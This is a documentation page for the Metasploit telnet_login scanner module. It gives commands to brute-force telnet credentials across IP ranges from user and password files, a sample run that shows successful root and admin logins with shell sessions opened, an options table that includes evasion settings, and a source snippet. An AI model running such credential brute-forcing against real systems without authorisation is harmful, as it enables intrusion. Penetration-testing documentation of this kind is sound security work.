Telnet Login Check Scanner - Metasploit

This page contains detailed information about how to use the auxiliary/scanner/telnet/telnet_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Telnet Login Check Scanner
Module: auxiliary/scanner/telnet/telnet_login
Source code: modules/auxiliary/scanner/telnet/telnet_login.rb
Disclosure date: -
Last modification time: 2021-08-31 17:10:07 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: telnet
Target network port(s): 23
List of CVEs: CVE-1999-0502

This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > show options
    ... show and set options ...
msf auxiliary(telnet_login) > set RHOSTS ip-range
msf auxiliary(telnet_login) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(telnet_login) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(telnet_login) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(telnet_login) > set RHOSTS file:/tmp/ip_list.txt

Required Options

RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Description

This module will test a telnet login with a list of provided credentials on a range of machines and report successful logins. It allows you to pass credentials in a number of ways. You can specifically set a username and password, you can pass a list of usernames and a list of passwords for it to iterate through, or you can provide a file that contains usernames and passwords separated by a space.

Verification Steps

Do: use auxiliary/scanner/telnet/telnet_login
Do: set RHOSTS [IP]
Do: set THREADS [NUMBER OF THREADS]
Do: set USER_FILE [USERNAME FILE]
Do: set PASS_FILE [PASSWORD FILE]
Do: run

Options

BLANK PASSWORD

When set to true, it'll bruteforce with blank passwords for all users. Default value is false.

USERNAME

Only one username to authenticate with.

PASSWORD

Only one password to authenticate with.

USERPASS_FILE

File containing username and passwords separated by space, one pair one line.

USER_FILE

File containing usernames one per line.

PASS_FILE

File containing passwords one per line.

Scenarios

In this scan we have provided list of username and passwords files separately.

msf > use use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 1.1.1.0/24
RHOSTS => 1.1.1.0/24
msf auxiliary(scanner/telnet/telnet_login) > set THREADS 254
THREADS => 254
msf auxiliary(scanner/telnet/telnet_login) > set BLANK_PASSWORDS false
BLANK_PASSWORDS => false
msf auxiliary(scanner/telnet/telnet_login) > set USER_FILE users.txt
USER_FILE => users.txt
msf auxiliary(scanner/telnet/telnet_login) > set PASS_FILE passwords.txt
PASS_FILE => passwords.txt
msf auxiliary(scanner/telnet/telnet_login) > set VERBOSE false
VERBOSE => false
msf auxiliary(scanner/telnet/telnet_login) > run

[+] 1.1.1.116 - SUCCESSFUL LOGIN root : s00p3rs3ckret
[*] Command shell session 1 opened (1.1.1.101:50017 -> 1.1.1.116:23) at 2010-10-08 06:48:27 -0600
[+] 1.1.1.116 - SUCCESSFUL LOGIN admin : s00p3rs3ckret
[*] Command shell session 2 opened (1.1.1.101:41828 -> 1.1.1.116:23) at 2010-10-08 06:48:28 -0600
[*] Scanned 243 of 256 hosts (094% complete)
[+] 1.1.1.56 - SUCCESSFUL LOGIN msfadmin : msfadmin
[*] Command shell session 3 opened (1.1.1.101:49210 -> 1.1.1.56:23) at 2010-10-08 06:49:07 -0600
[*] Scanned 248 of 256 hosts (096% complete)
[*] Scanned 250 of 256 hosts (097% complete)
[*] Scanned 255 of 256 hosts (099% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) >

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Msfconsole Usage

Here is how the scanner/telnet/telnet_login auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/telnet/telnet_login

msf6 auxiliary(scanner/telnet/telnet_login) > show info

       Name: Telnet Login Check Scanner
     Module: auxiliary/scanner/telnet/telnet_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  egypt <[email protected]>

Check supported:
  No

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  BLANK_PASSWORDS   false            no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false            no        Add all passwords in the current database to the list
  DB_ALL_USERS      false            no        Add all users in the current database to the list
  PASS_FILE                          no        File containing passwords, one per line
  RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT             23               yes       The target port (TCP)
  STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
  THREADS           1                yes       The number of concurrent threads (max one per host)
  USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false            no        Try the username as the password for all users
  USER_FILE                          no        File containing usernames, one per line
  VERBOSE           true             yes       Whether to print output for all attempts

Description:
  This module will test a telnet login on a range of machines and 
  report successful logins. If you have loaded a database plugin and 
  connected to a database this module will record successful logins 
  and hosts so you can track your access.

References:
  https://nvd.nist.gov/vuln/detail/CVE-1999-0502

Module Options

This is a complete list of options available in the scanner/telnet/telnet_login auxiliary module:

msf6 auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             23               yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

Advanced Options

Here is a complete list of advanced options supported by the scanner/telnet/telnet_login auxiliary module:

msf6 auxiliary(scanner/telnet/telnet_login) > show advanced

Module advanced options (auxiliary/scanner/telnet/telnet_login):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CHOST                                        no        The local client address
   CPORT                                        no        The local client port
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   ConnectTimeout              10               yes       Maximum number of seconds to establish a TCP connection
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   MaxGuessesPerService        0                no        Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
   MaxGuessesPerUser           0                no        Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22 is different from one at 10.
                                                          2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be used.
   MaxMinutesPerService        0                no        Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
   Proxies                                      no        A proxy chain of format type:host:port[,type:host:port][...]
   REMOVE_PASS_FILE            false            yes       Automatically delete the PASS_FILE on module completion
   REMOVE_USERPASS_FILE        false            yes       Automatically delete the USERPASS_FILE on module completion
   REMOVE_USER_FILE            false            yes       Automatically delete the USER_FILE on module completion
   SSL                         false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                    no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode               PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion                  Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress                true             yes       Display progress messages during a scan
   ShowProgressPercent         10               yes       The interval in percent that progress should be shown
   TIMEOUT                     25               yes       Default timeout for telnet connections.
   TRANSITION_DELAY            0                no        Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
   TelnetBannerTimeout         25               yes       The number of seconds to wait for the initial banner
   TelnetTimeout               10               yes       The number of seconds to wait for a reply from a Telnet command
   WORKSPACE                                    no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/telnet/telnet_login module can do:

msf6 auxiliary(scanner/telnet/telnet_login) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/telnet/telnet_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/telnet/telnet_login) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

<IP>:<RPORT> - LOGIN FAILED: <RESULT.CREDENTIAL> (<RESULT.STATUS>: <RESULT.PROOF>)

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Here is a relevant code snippet related to the "<IP>:<RPORT> - LOGIN FAILED: <RESULT.CREDENTIAL> (<RESULT.STATUS>: <RESULT.PROOF>)" error message:

86:	        create_credential_login(credential_data)
87:	        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
88:	        start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner) if datastore['CreateSession']
89:	      else
90:	        invalidate_login(credential_data)
91:	        vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
92:	        disconnect(scanner.sock)
93:	      end
94:	    end
95:	  end
96:

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